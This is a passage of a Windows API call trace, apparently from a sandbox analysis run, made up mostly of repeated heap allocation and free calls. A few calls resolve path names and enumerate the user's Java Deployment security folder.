(HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.030] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.031] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\") returned="security\\" [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30756f8 [0128.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.031] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0128.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0128.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30756f8 | out: hHeap=0x5c0000) returned 1 [0128.032] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0128.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0128.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0128.032] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0128.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0128.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0128.032] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0128.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0128.032] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0128.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0128.032] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0128.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0128.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0128.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0128.032] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0128.032] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.032] PathFindFileNameW (pszPath="") returned="" [0128.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.032] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.033] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.033] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.033] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0128.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcf18 | out: hHeap=0x5c0000) returned 1 [0128.033] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30756f8 [0128.034] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.038] 